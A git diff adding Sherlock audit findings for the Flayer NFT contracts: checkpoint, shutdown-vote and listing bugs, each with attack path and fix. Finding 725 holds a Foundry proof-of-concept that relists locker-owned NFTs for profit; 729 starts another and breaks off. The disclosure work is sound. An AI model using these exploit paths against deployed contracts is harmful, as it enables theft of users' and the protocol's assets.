+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341C4-L352C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Don't delete the mapping until user withdraws his NFT using withdrawProtectedListing()
\ No newline at end of file
diff --git a/001/722.md b/001/722.md
new file mode 100644
index 0000000..5c5da32
--- /dev/null
+++ b/001/722.md
@@ -0,0 +1,82 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `ProtectedListings:createListings()` doesn't create checkPoints for subsequent listing of a collection
+
+## Summary
+`ProtectedListings:createListings()` doesn't create checkPoints for subsequent listing of a collection
+
+## Vulnerability Detail
+When a tokenId of a collection is protected listed for the fist time then checkPoint is created but not for the subsequent tokenId of that collection because it doesn't call `_createCheckpoint()` at the end of the function
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
+This is an issue because `_depositNftsAndReceiveTokens()` deposits the NFTs into locker.sol which mints collectionToken. And the totalSupply of the collectionToken is used while calculating utilizationRate of the collection.
+```solidity
+function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+//
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+## Impact
+checkPoint is not updated, as result utilizationRate of that collection will also not be updated correctly
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117C4-L157C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L165C5-L187C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261C5-L276C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Call `_createCheckpoint()` at the end of the function call
\ No newline at end of file
diff --git a/001/723.md b/001/723.md
new file mode 100644
index 0000000..97b2aaa
--- /dev/null
+++ b/001/723.md
@@ -0,0 +1,114 @@
+Uneven Myrtle Gibbon
+
+High
+
+# Users will not be able to reclaim voting tokens after a shutdown is cancelled
+
+### Summary
+
+When a shutdown vote gets cancelled by a `CollectionShutdown::cancel` call, the `_collectionParams` struct is deleted which will prevent users who did previously vote from reclaiming their tokens through `CollectionShutdown::reclaimVote` because the `params.shutdownVotes` decrement will underflow and revert the call, this will cause the loss of all users funds used for that vote (which will remain stuck in the contract).
+
+### Root Cause
+
+- When an ongoing shutdown vote gets cancelled through `CollectionShutdown::cancel`, the storage struct `_collectionParams` get deleted (see [CollectionShutdown::403](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403)) meaning all votes `shutdownVotes` are reset to 0.
+- When voters try to reclaim their voting tokens with `CollectionShutdown::reclaimVote`, the function will revert because `params.shutdownVotes -= uint96(userVotes)` (see [CollectionShutdown::369](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369)) will always underflow at this point as `shutdownVotes == 0`, thus the reclaim call will always revert.
+
+### Internal pre-conditions
+
+1. Shutdown vote must be ongoing (did not reach quorum yet) and some users did transfer their tokens in the contract to vote.
+2. The total supply of the token does increase again above shutdown threshold which allow anyone to trigger the cancel of the shutdown.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. A shutdown vote for a collection is ongoing.
+2. Users: Alice, Bob, Charles vote in favor of the shutdown.
+3. Vote doesn't reach the quorum threshold yet, and in the mean time the tokens total supply increases again above the shutdown threshold.
+4. Another user (could be anyone) named Carol notices that and invokes `CollectionShutdown::cancel` to cancel the vote, this does delete all the collection shutdown data including `shutdownVotes`
+5. Now that shutdown got cancelled, Alice, Bob, Charles will try to get their tokens back by calling `CollectionShutdown::reclaimVote` but it will be impossible for them as the function will revert because of the underflow error when subtracting from `shutdownVotes`
+6. Alice, Bob, Charles lose their tokens which remain stuck in the contract.
+
+### Impact
+
+In case of a vote cancelling ALL voters will be unable to reclaim their tokens used for voting, all tokens will be lost and remain stuck in the contract.
+
+### PoC
+
+The `CollectionShutdown::cancel` function does delete the whole collection shutdown struct as shown below:
+
+```solidity
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+Thus in case of a cancel, when voters try to reclaim using `CollectionShutdown::reclaimVote`, the function will revert from underflow when decreasing from `shutdownVotes`
+
+```solidity
+function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+}
+```
+
+### Mitigation
+
+The simplest way to mitigate this issue is to remove the decrement of `shutdownVotes` from `CollectionShutdown::reclaimVote` and use only `shutdownVoters` to track users votes. Function can be modified as follows:
+
+```solidity
+function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+}
+```
\ No newline at end of file
diff --git a/001/724.md b/001/724.md
new file mode 100644
index 0000000..418d78c
--- /dev/null
+++ b/001/724.md
@@ -0,0 +1,163 @@
+Vast Umber Walrus
+
+Medium
+
+# Inability to shutdown/sunset a newly registered collection after previous shutdown
+
+## Summary
+
+The `shutdownVotes` parameter is not cleared after a collection shutdown is executed and claimed. This issue prevents a previously shut down collection from being eligible for a new shutdown/sunset process if it is re-registered.
+
+## Vulnerability Detail
+
+When the `CollectionShutdown` contract executes and then the claim process occurs, it fails to update or clear the `shutdownVotes` parameter, which is used to track votes related to the shutdown process.
+
+[CollectionShutdown::claim()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L315)
+```solidity
+File: CollectionShutdown.sol
+285: function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+286: // Ensure our user has tokens to claim
+287: uint claimableVotes = shutdownVoters[_collection][_claimant];
+288: if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+289:
+290: // Ensure that we have moved token IDs to the pool
+291: CollectionShutdownParams memory params = _collectionParams[_collection];
+292: if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+293:
+294: // Ensure that all NFTs have sold from our Sudoswap pool
+295: if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+296:
+297: // We can now delete our sweeper pool tokenIds
+298: if (params.sweeperPoolTokenIds.length != 0) {
+299: delete _collectionParams[_collection].sweeperPoolTokenIds;
+300: }
+301:
+302: // Burn the tokens from our supply
+303: params.collectionToken.burn(claimableVotes);
+304:
+305: // Set our available tokens to claim to zero
+306: delete shutdownVoters[_collection][_claimant];
+307:
+308: // Get the number of votes from the claimant and the total supply and determine from that the percentage
+309: // of the available funds that they are able to claim.
+310: uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+311: (bool sent,) = _claimant.call{value: amount}('');
+312: if (!sent) revert FailedToClaim();
+313:
+314: emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+315: }
+```
+
+If a collection that was previously shut down is re-registered with the `Locker`, it will not be eligible for a new shutdown/sunset process because the `shutdownVotes` from the previous shutdown remain unchanged.
+
+[CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157)
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused {
+136: // Confirm that this collection is not prevented from being shutdown
+137: if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+138:
+139: // Ensure that a shutdown process is not already actioned
+140: CollectionShutdownParams memory params = _collectionParams[_collection];
+141:@> if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+---
+157: }
+```
+
+## Impact
+
+Prevents the `CollectionShutdown` contract from correctly processing a **new** shutdown/sunset request for a collection that has been previously shut down. This results in the collection being unable to be shut down again, even if it is re-registered.
+
+## Code Snippet
+
+[CollectionShutdown::claim()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L315)
+```solidity
+File: CollectionShutdown.sol
+285: function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+286: // Ensure our user has tokens to claim
+287: uint claimableVotes = shutdownVoters[_collection][_claimant];
+288: if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+289:
+290: // Ensure that we have moved token IDs to the pool
+291: CollectionShutdownParams memory params = _collectionParams[_collection];
+292: if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+293:
+294: // Ensure that all NFTs have sold from our Sudoswap pool
+295: if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+296:
+297: // We can now delete our sweeper pool tokenIds
+298: if (params.sweeperPoolTokenIds.length != 0) {
+299: delete _collectionParams[_collection].sweeperPoolTokenIds;
+300: }
+301:
+302: // Burn the tokens from our supply
+303: params.collectionToken.burn(claimableVotes);
+304:
+305: // Set our available tokens to claim to zero
+306: delete shutdownVoters[_collection][_claimant];
+307:
+308: // Get the number of votes from the claimant and the total supply and determine from that the percentage
+309: // of the available funds that they are able to claim.
+310: uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+311: (bool sent,) = _claimant.call{value: amount}('');
+312: if (!sent) revert FailedToClaim();
+313:
+314: emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+315: }
+```
+
+[CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157)
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused {
+136: // Confirm that this collection is not prevented from being shutdown
+137: if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+138:
+139: // Ensure that a shutdown process is not already actioned
+140: CollectionShutdownParams memory params = _collectionParams[_collection];
+141:@> if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+---
+157: }
+```
+
+## Tool used
+
+Manual Review
+
+
+## Recommendation
+
+Update the `params.shutdownVoters` when claiming to reduce global votes.
+
+
+```diff
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+---
+
++ params.shutdownVotes -= claimableVotes;
+
+ emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+}
+```
+
+```diff
+function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
++ if (params.sweeperPool != address(0)) revert ShutdownExecuted(); // prevent from reclaim after executed
+---
+}
+```
+
+However, **this approach raises another concern**: the `params.shutdownVoters` represents votes from users, which could potentially lead to an imbalance in the total value relative to the supply.
+
+In a scenario where all claimers reclaim their votes, `params.shutdownVoters` would revert to zero, enabling a new shutdown process. However, users who hold collection tokens but haven’t voted (or claimed via [`CollectionShutdown::voteAndClaim()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L323-L348)) will be affected.
+
+If the collection is re-registered and undergoes another shutdown, those non-voting users could lose the ability to claim rewards, as new tokens might be minted for the re-registered collection, leaving their tokens unaccounted for.
+
+This concern should be evaluated based on the specific business logic in place.
\ No newline at end of file
diff --git a/001/725.md b/001/725.md
new file mode 100644
index 0000000..69e7d37
--- /dev/null
+++ b/001/725.md
@@ -0,0 +1,161 @@
+Glorious White Cyborg
+
+High
+
+# attacker will relist stray ERC721 collection tokens of locker to earn profit
+
+### Summary
+
+The stray ERC721 tokens in locker.sol can be listed using the `relist` method despite there being no active listing for the tokenId.
+By Stray it means an ERC721 token which is owned by locker.sol but not in any listing.
+
+This allows the user to list the tokens despite not owning it and getting profit when the listing is filled by another user.
+
+### Root Cause
+
+The root cause is that the `relist` method allows an user to create lists of tokens that weren't in a listing.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+1. Alice sends ERC721 tokens to locker.sol through `transferFrom`
+2. Or Alice sends ERC721 tokens to locker.sol through `Locker.deposit`
+
+### Attack Path
+
+1. _Locker.sol_ owns NFT tokenid1, tokenid2 from _Locker.sol_ deposit function uses or direct NFT transfers
+2. _Attacker_ relists tokenid1 and tokenid2 and it succeeds
+3. _User_ calls `fillListings` for the tokens listed by _attacker_
+4. _Attacker_ profits off of a token owned by _Locker.sol_
+
+### Impact
+
+Protocol loses NFT assets that weren't listed explicitly.
+
+### PoC
+
+To run, paste function in Listings.t.sol and
+`forge test -vvv test_relistUnlistedTokenOwnedByLocker_POCPOC`
+
+```solidity
+ function _relist(uint256 arrayToPassLength, IListings.CreateListing memory listing) internal
+ {
+ for(uint256 i =0; i < arrayToPassLength ; ++i)
+ {
+ listing.tokenIds[0] = i;
+ listings.relist(listing, false);
+ }
+ }
+
+function test_relistUnlistedTokenOwnedByLocker_POCPOC(
+ ) public {
+
+ uint256 noOfTokens = 4;
+ uint16 floorMultiple = 400;
+ uint32 duration = 5 days;
+ uint40 created = uint40(3500);
+
+ console2.log(block.timestamp);
+
+ vm.assertTrue(created < block.timestamp);
+
+ //noOfToken assume
+ // _assumeValidTokenId(noOfTokens);
+
+ //created assume lesser than b.tst for fillListing.
+ // _assumeCreated(created);
+
+ //floorMultiple assume
+ // _assumeFloorMultiple(floorMultiple);
+
+ //duration assume
+ // _assumeDuration(duration);
+
+ address payable alice = payable(address(0xa11ce));
+
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ deal(address(locker.collectionToken(address(erc721a))), alice, 10 * 1 ether);
+
+ uint256 startBalance = token.balanceOf(alice);
+
+ uint256[] memory arrayToPass = new uint256[](noOfTokens);
+
+ // Build our listings fill request
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](noOfTokens);
+ // tokenIdsOut[0][0] = _tokenId;
+
+ for(uint256 i = 0 ; i < noOfTokens ; i++){
+ uint256 _tokenId = i;
+ erc721a.mint(alice, _tokenId);
+ vm.prank(alice);
+ erc721a.approve(address(listings), _tokenId);
+ arrayToPass[i] = i;
+ tokenIdsOut[0][i] = i;
+
+ vm.prank(alice);
+ erc721a.transferFrom(alice, address(locker), _tokenId);
+ }
+
+ vm.assertTrue(erc721a.ownerOf(2) == address(locker)) ;
+
+ address payable bob = payable(address(0xb0b));
+
+ deal(address(locker.collectionToken(address(erc721a))), bob, 1 ether);
+
+ console2.log("bob's balance before relisting is \t\t\t", token.balanceOf(bob));
+ vm.startPrank(bob);
+ // uint16 _floorMultiple = floorMultiple;
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ uint256[] memory arrayToPass2 = new uint256[](noOfTokens);
+
+ _relist( arrayToPass.length, IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: arrayToPass2,
+ listing: IListings.Listing({
+ owner: bob,
+ created: created,
+ duration: duration,
+ floorMultiple: floorMultiple
+ })
+ }));
+
+
+ vm.stopPrank();
+ console2.log("bob's balance after relisting is \t\t\t", token.balanceOf(bob));
+
+ //charlie is going to buy bob's listing
+ address payable charlie = payable(address(0xc6a511e));
+ deal(address(locker.collectionToken(address(erc721a))), charlie, 30 ether);
+
+ vm.startPrank(charlie);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ listings.withdraw(address(token), listings.balances(bob, address(token)));
+ console2.log("bob's balance after charlie buys listing is \t\t", token.balanceOf(bob));
+ vm.stopPrank();
+
+
+ }
+```
+
+### Mitigation
+
+Check if the listing exists before re-listing is attempted.
\ No newline at end of file
diff --git a/001/727.md b/001/727.md
new file mode 100644
index 0000000..f05f681
--- /dev/null
+++ b/001/727.md
@@ -0,0 +1,216 @@
+Vast Umber Walrus
+
+Medium
+
+# Unable to reclaim votes after collection shutdown cancellation
+
+## Summary
+
+When a collection shutdown is canceled, the previous voter is unable to reclaim their vote due to the cancellation logic deleting the entire `_collectionParams` mapping. This results in inconsistent values and potential issues when the token returns to a shutdown state.
+
+## Vulnerability Detail
+
+The [`CollectionShutdown::cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function deletes the `_collectionParams` mapping for a collection, which can lead to several problems:
+
+[CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405)
+```solidity
+File: CollectionShutdown.sol
+390: function cancel(address _collection) public whenNotPaused {
+391: // Ensure that the vote count has reached quorum
+392: CollectionShutdownParams memory params = _collectionParams[_collection];
+393: if (!params.canExecute) revert ShutdownNotReachedQuorum();
+394:
+395: // Check if the total supply has surpassed an amount of the initial required
+396: // total supply. This would indicate that a collection has grown since the
+397: // initial shutdown was triggered and could result in an unsuspected liquidation.
+398: if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+399: revert InsufficientTotalSupplyToCancel();
+400: }
+401:
+402: // Remove our execution flag
+403: delete _collectionParams[_collection];
+404: emit CollectionShutdownCancelled(_collection);
+405: }
+```
+
+This issue can prevent users from reclaiming their votes due to an underflow error:
+
+[CollectionShutdown::reclaimVote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377)
+```solidity
+File: CollectionShutdown.sol
+356: function reclaimVote(address _collection) public whenNotPaused {
+---
+368: // We delete the votes that the user has attributed to the collection
+369:@> params.shutdownVotes -= uint96(userVotes);
+---
+377: }
+```
+Moreover, this can lead to inconsistencies in the shutdown state of collections:
+
+Assuming:
+
+* Before cancellation, `totalSupply` was `400` and `shutdownVotes` was `200` (allowing the collection shutdown to proceed). If the `totalSupply` then increases due to other actions, making cancellation possible, the process resets all parameters and `shutdownVotes` to zero.
+* When users attempt to reclaim their votes after cancellation, they may encounter underflow errors because their previous votes are no longer tracked.
+* If the collection becomes eligible for shutdown again, `shutdownVotes` will incorrectly reflect zero previous votes, resulting in some supply being locked without proper voting power accounting.
+
+## Impact
+
+Prevents users from reclaiming their votes due to underflow revert and results in inconsistencies in the shutdown state.
+
+## Code Snippet
+
+[CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405)
+```solidity
+File: CollectionShutdown.sol
+390: function cancel(address _collection) public whenNotPaused {
+391: // Ensure that the vote count has reached quorum
+392: CollectionShutdownParams memory params = _collectionParams[_collection];
+393: if (!params.canExecute) revert ShutdownNotReachedQuorum();
+394:
+395: // Check if the total supply has surpassed an amount of the initial required
+396: // total supply. This would indicate that a collection has grown since the
+397: // initial shutdown was triggered and could result in an unsuspected liquidation.
+398: if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+399: revert InsufficientTotalSupplyToCancel();
+400: }
+401:
+402: // Remove our execution flag
+403: delete _collectionParams[_collection];
+404: emit CollectionShutdownCancelled(_collection);
+405: }
+```
+
+[CollectionShutdown::reclaimVote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377)
+```solidity
+File: CollectionShutdown.sol
+356: function reclaimVote(address _collection) public whenNotPaused {
+---
+368: // We delete the votes that the user has attributed to the collection
+369:@> params.shutdownVotes -= uint96(userVotes);
+---
+377: }
+```
+
+[CollectionShutdown::_collectionParams mapping](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L60-L61)
+```solidity
+File: CollectionShutdown.sol
+60: /// Maps a collection to it's respective shutdown parameters
+61: mapping (address _collection => CollectionShutdownParams _params) private _collectionParams;
+```
+
+[ICollectionShutdown::CollectionShutdownParams struct](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/utils/ICollectionShutdown.sol#L43-L51)
+```solidity
+File: ICollectionShutdown.sol
+43: struct CollectionShutdownParams {
+44: uint96 shutdownVotes;
+45: address sweeperPool;
+46: uint88 quorumVotes;
+47: bool canExecute;
+48: ICollectionToken collectionToken;
+49: uint availableClaim;
+50: uint[] sweeperPoolTokenIds;
+51: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Modify the `CollectionShutdown::cancel()` function to preserve the `shutdownVotes` data. When restarting the collection shutdown process, ensure that `shutdownVotes` is not zero, which implies that this parameter is used to track **each-time** when a shutdown collection is started.
+
+[CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157)
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused {
+136: // Confirm that this collection is not prevented from being shutdown
+137: if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+138:
+139: // Ensure that a shutdown process is not already actioned
+140: CollectionShutdownParams memory params = _collectionParams[_collection];
+141:@> if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+---
+157: }
+```
+This may necessitate additional variables or mechanisms to correctly track and handle cancellations and votes throughout the lifecycle of the shutdown process.
+
+```diff
++ mapping(address _collection => uint96 unclaimedVote) public unclaimedVotes;
+---
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
++ unclaimedVotes[_collection] = params.shutdownVotes;
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+```diff
++ mapping(address _collection => uint96 unclaimedVote) public unclaimedVotes;
+---
+function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
++ if (unclaimedVotes[_collection] != 0) { // Settle the unclaimed
++ params.shutdownVotes += unclaimedVotes[_collection];
++ unclaimedVotes[_collection] = 0;
++ }
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+}
+---
+function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
++ if (params.sweeperPool != address(0)) revert ShutdownExecuted(); // prevent from reclaim after executed
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+- params.shutdownVotes -= uint96(userVotes);
++ params.shutdownVotes != 0 ? params.shutdownVotes -= uint96(userVotes) : unclaimedVotes[_collection] -= uint96(userVotes); // Imply that if no `shutdownVotes` it is move to unclaimedVotes and not yet start again
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+}
+```
\ No newline at end of file
diff --git a/001/729.md b/001/729.md
new file mode 100644
index 0000000..0932149
--- /dev/null
+++ b/001/729.md
@@ -0,0 +1,113 @@
+Loud Bone Cottonmouth
+
+Medium
+
+# User can avoid paying interest rate on their protected Listing by adjusting the position
+
+### Summary
+
+Lack of interest charge in `ProtectedListings.adjustPosition()` allows a user to avoid paying interest rate. The user can reduce their `tokenTaken` value to smallest amount possible, then when he unlocks the protected listing, the interest rate charged would be calculated based on the reduced amount.
+
+### Root Cause
+
+in `ProtectedListings.adjustPosition()` the `_amount` provided by the user can be directly deducted from the `tokenTaken`. As the `tokenTaken` is reduced when user wants to unlock their protected listing, he will call `ProtectedListings.unlockProtectedListing()`. Then the interest rate shall be calculated only based on the remaining `tokenTaken`. What the user repaid using `adjustPosition()` is on zero interest.
+
+The problematic function:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366
+
+### Internal pre-conditions
+
+1. A user needs to have a created protected listing which is healthy (i.e. the protected listing did not yet run out of collateral)
+
+### External pre-conditions
+
+No external pre-conditions are required.
+
+### Attack Path
+
+1. User creates a protected listing with certain amounts of `tokenTaken`
+2. After some time the user instead of calling `ProtectedListings.unlockProtectedListing()` is calling `ProtectedListings.adjustPosition()` and repays the debt up to maximum amount possible.
+3. user calls `ProtectedListings.unlockProtectedListing()` and pays the interest on the minimum amount of debt that is left to unlock the listing.
+
+### Impact
+
+There is no impact to the fee loss of the protocol as in `ProtectedListings` the fees paid by the user are burned. however by allowing users to create protected listings without sufficient fees, the protocol tokenomics might be negatively affected as it could lead to over use of the protected listings and increase the ERC20 supply.
+
+### PoC
+
+PoC test:
+```solidity
+ function test_MyAbuseAdjustPosition() public {
+ address payable _owner1 = payable(address(0x01));
+
+ // Deploy our platform contracts
+ _deployPlatform();
+
+ // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
+ // is explicitly created in a number of tests.
+ locker.createCollection(address(erc721a), 'Test Collection', 'TEST', 0);
+
